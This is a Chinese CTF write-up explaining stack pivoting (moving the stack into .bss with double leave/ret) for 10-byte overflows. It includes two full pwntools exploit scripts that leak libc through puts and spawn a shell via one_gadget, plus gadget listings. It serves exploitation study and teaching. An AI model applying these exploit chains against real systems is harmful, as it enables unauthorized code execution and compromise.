栈迁移详解
栈迁移
-
将ebp转移到bss或data段,在bss段或data段构造gadget然后在这里执行
-
leave相当于mov esp,ebp pop ebp;
-
ret相当于pop eip;
-
mov esp,ebp 让esp指向ebp的地址
-
pop ebp 把栈顶的值弹到ebp寄存器里,此时ebp就指向了fake ebp1
如果在fake ebp1处写入fake ebp2的地址,然后再来一步leave就可以让ebp指向fake ebp2
遇到的一些问题
上述的解释比较简洁但是利用起来还是会遇到很多问题
-
比如为什么要利用两次leave ret使得栈转移到bss段里
-
为什么要在fake ebp1的地址上写入bss+0x10的地址
-
还有就是网上的大部分例题都是同一个,溢出的空间都挺大的,如果只能溢出10字节怎么做
下面我用一个例题来说一下我自己的详细理解
vnctf2023 traveler
ida
这个函数我不知道怎么利用,这里用栈迁移来做一下这个题
思路
前面定义的
bss=elf.bss()
bss4=bss+0x400
bss6=bss+0x600
def duan():
gdb.attach(io)
pause()
第一次尝试栈迁移,先把pre rbp改成bss然后返回函数改成read的地址(0x401216)(如下图)
然后程序开始在0x401216处开始执行
之后会继续执行puts和read,recv和send一下
payload=cyclic(0x20)+p64(bss4)+p64(read)
io.send(payload)
io.recvuntil(b'his life?n')
io.sendline(b'k')
-
然后第一次leave把rsp移动到rbp,然后把rbp pop到bss段
-
只不过这时的rsp还在原来的栈上,然后ret返回父函数
-
这时候返回的父函数是原来的read函数,ret之前调用的一系列函数是用溢出调用的
-
然后第二次leave把rsp移动到rbp,此时应该rsp也迁移到bss段,所以就可以控制bss段了
payload=cyclic(0x20)+p64(bss4+0x20)+p64(read)
io.send(payload)
io.recvuntil(b'his life?n')
io.sendline(b'k')
然后先在第一处fake ebp1填入稍远处的地址,这里一般是bss+0x10就够(这里说明一下为什么要怎么写,这是为了最后的leave ret把rbp pop到新的地址,然后我们之前构造的ROP链就变成了父函数,ret完之后就可以调用ROP链函数)
payload=p64(bss4+0x20+10)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.send(payload)
-
利用puts泄露出来的libc的基地址然后返回main函数
-
其实这时候的main函数和我们一开始进入的不太一样,这是在bss段里调用的main函数
-
然后重复最开始的两次栈迁移(leave ret)
-
在bss另一段上构造ROP链,利用同样的方式去getshell
-
可以利用one_gadget
-
然后利用one_gadget只需要在发送最后的payload之前去看一下各个寄存器的情况,然后再ROP链中构造对应的条件就可以
#1.stack pivoting
payload=cyclic(0x20)+p64(bss6)+p64(read)
io.send(payload)
io.recvuntil(b'his life?n')
io.sendline(b'k')
#2.stack pivoting
payload=cyclic(0x20)+p64(bss6+0x20)+p64(read)
io.send(payload)
io.recvuntil(b'his life?n')
io.sendline(b'k')
#duan()
#write bss6+0x20
payload=p64(bss6+0x30)+p64(r12)+p64(0)+p64(og)
io.send(payload)
exp
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io=process('./traveler')
elf=ELF('./traveler')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
def duan():
gdb.attach(io)
pause()
#address
read=0x401216
main=0x4011f4
rdi=0x4012c3
rsi_r15=0x4012c1
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
bss=elf.bss()
bss4=bss+0x400
bss6=bss+0x600
#process
#1.stack pivoting
io.recvuntil(b'r u?n')
payload=cyclic(0x20)+p64(bss4)+p64(read)
io.send(payload)
io.recvuntil(b'his life?n')
io.sendline(b'k')
#2.stack pivoting
#io.recvuntil(b'r u?n')
payload=cyclic(0x20)+p64(bss4+0x20)+p64(read)
io.send(payload)
io.recvuntil(b'his life?n')
io.sendline(b'k')
#write bss4+0x20
payload=p64(bss4+0x30)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.send(payload)
puts_addr=u64(io.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
libc_base=puts_addr-libc.symbols['puts']
print(hex(libc_base))
#libc-ROP
rdi=libc_base+libc.search(asm('pop rdi;ret;')).__next__()
r12=libc_base+libc.search(asm('pop r12;ret;')).__next__()
#one_gadgets
ogs=[0xe3afe,0xe3b01,0xe3b04]
og=libc_base+ogs[0]
#1.stack pivoting
payload=cyclic(0x20)+p64(bss6)+p64(read)
io.send(payload)
io.recvuntil(b'his life?n')
io.sendline(b'k')
#2.stack pivoting
payload=cyclic(0x20)+p64(bss6+0x20)+p64(read)
io.send(payload)
io.recvuntil(b'his life?n')
io.sendline(b'k')
#duan()
#write bss6+0x20
payload=p64(bss6+0x30)+p64(r12)+p64(0)+p64(og)
io.send(payload)
io.interactive()
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
'''
0x00000000004012bc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012be : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012c0 : pop r14 ; pop r15 ; ret
0x00000000004012c2 : pop r15 ; ret
0x00000000004012bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012bf : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040117d : pop rbp ; ret
0x00000000004012c3 : pop rdi ; ret
0x00000000004012c1 : pop rsi ; pop r15 ; ret
0x00000000004012bd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
'''
总结
学会了这种10字节溢出题目
那么很多栈溢出题都可以用这种方法解决
新春杯mg
ida
这个也是10字节溢出,不过比较简单
exp
from pwn import *
#from LibcSearcher import *
context(os="linux",arch="amd64",log_level='debug')
elf=ELF("./pwn3")
libc=ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
io=process("./pwn3")
#io=remote('39.99.242.16',1002)
def duan():
gdb.attach(io)
pause()
puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']
main=0x4011db
leave_ret=0x401214
read=0x4011FD
#bss=elf.bss()+0x500
bss=0x404000+0x500
rdi=0x401283
main=0x4011db
io.recv()
pay=b'a'*0x20+p64(bss)+p64(0x4011FD)
io.send(pay)
pay1=b'a'*0x20+p64(bss+0x20)+p64(0x4011FD)
io.send(pay1)
pay2=p64(bss+0x30)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
#duan()
io.send(pay2)
puts_addr=u64(io.recvuntil(b"x7f")[-6:].ljust(8,b'x00'))
libc_base=puts_addr-libc.symbols['puts']
print(hex(libc_base))
#puts_addr=u64(r.recv(6)+b'x00'*2)
#libc_base=put_addr-libc.symbols['puts']
ogs = [0xe3afe,0xe3b01,0xe3b04]
og = libc_base+ogs[0]
r12=libc_base+libc.search(asm('pop r12;ret;')).__next__()
io.recv()
pay3=b'a'*0x20+p64(bss+0x100)+p64(0x4011fd)
io.send(pay3)
pay4=b'a'*0x20+p64(bss+0x120)+p64(0x4011fd)
io.send(pay4)
payload=p64(bss+0x130)+p64(r12)+p64(0)+p64(og)
io.send(payload)
io.interactive()
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
'''
0x000000000040127c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040127e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401280 : pop r14 ; pop r15 ; ret
0x0000000000401282 : pop r15 ; ret
0x000000000040127b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040127f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040115d : pop rbp ; ret
0x0000000000401283 : pop rdi ; ret
0x0000000000401281 : pop rsi ; pop r15 ; ret
0x000000000040127d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
'''
参考
栈平衡和栈迁移
PWN!栈迁移原理
来源:先知社区的【F4atherw1t 】师傅
注:如有侵权请联系删除
如需进群进行技术交流,请扫该二维码
原文始发于微信公众号(衡阳信安):栈迁移详解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论